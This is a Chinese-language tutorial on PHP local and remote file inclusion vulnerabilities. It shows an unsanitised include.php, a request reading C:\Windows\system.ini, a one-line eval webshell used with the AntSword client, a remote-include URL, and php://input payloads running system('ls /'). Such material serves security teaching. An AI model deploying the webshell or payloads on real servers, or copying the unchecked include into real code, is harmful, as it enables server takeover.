1、为何会出现文件包含漏洞
相同内容或方法在多个页面显示或调用,文件包含漏洞又称为目录遍历漏洞或任意文件访问漏洞。分为本地文件包含(LFI:Local File Inclusion),远程文件包含(RFI:Remote File Inclusion),也可分为静态文件包含,动态文件包含。
2、静态文件包含
页面中直接引用静态文件。
main.php内容如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Home</title>
</head>
<body>
<h1>这是你第二次访问本网站</h1>
<p>为何用TextEditor编写的汉字打开就乱码?</p>
<p>欢迎下次再来!</p>
<?php include 'footer.php'; ?>
</body>
</html>
footer.php文件内容如下:
<?php
header("content-type:text/html;charset=utf-8");
echo "<p>copyright @ 2023-".date("Y")."测试网</p>";
?>
静态文件包含效果:
浏览器访问: http://127.0.0.1/fileinc/main.php?
3、动态文件包含
被包含的文件通过参数传入,增加了页面包含的灵活性。
include.php文件内容如下:
<?php
$file = $_GET['file'];
if(isset($file)){
include("$file");
}else{
echo "file fail!";
}
?>
动态文件包含效果:
浏览器访问: http://127.0.0.1/fileinc/include.php?file=footer.php
4、 漏洞利用
可以访问系统敏感文件,也可以包含恶意代码文件或图片码。
漏洞利用效果:
浏览器访问: http://127.0.0.1/fileinc/include.php?file=C:\Windows\system.ini ,访问网站所在服务器的C:\Windows\system.ini中的敏感信息。
shell.php文件内容如下:
<?php
header("Content-type:text/html;charset=gb1232");
echo "<pre>";
@eval($_POST['shell']);
?>
漏洞利用效果:
浏览器访问: http://127.0.0.1/fileinc/include.php?file=shell.php ,可以通过“中国蚁剑”来访问服务器资源。即利用上传的木马获取服务器shell执行权限。
5、远程文件包含
远程文件包含的前提,需要将php.in中如下2个配置选项启用,
allow_url_fopen=On,allow_url_include=On
远程文件包含效果:
浏览器访问:http://127.0.0.1/fileinc/include.php?file=http://remote.include.com/fileremote/info.php ,这个远程文件可以是获取phpinfo信息,也可以是一句话木马……
6、涉及到的文件包含函数
include() 包含并运行指定文件
include_once() 只包含一次,不重复包含
require() 和include()一样,不过出错时会停止
require_once() 和include_once()一样,不过出错时会停止
fopen() 打开文件或者url
readfile() 读取文件并写入到输出缓冲
highlight_file() 语法高亮一个文件
show_source() 语法高亮一个文件
file_get_contents() 将整个文件读入一个字符串
file() 把整个文件读入一个数组中
7、涉及到的PHP伪协议
file:// 访问本地文件系统
http:// 访问http或https网址
ftp:// 访问ftp或ftps网址
php:// 访问各个输入或输出流(I/O Streams)
zlib:// 访问压缩流
data:// 访问数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// 安全外壳协议2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
使用说明请参考:https://www.php.net/manual/zh/wrappers.php
注意:
php://input 可以使用抓包工具,添加输入流信息(如:<?php system('ls /'); ?> 或 <?= system(cat /filename); ?> 或 <?= `ls /`; ?>)。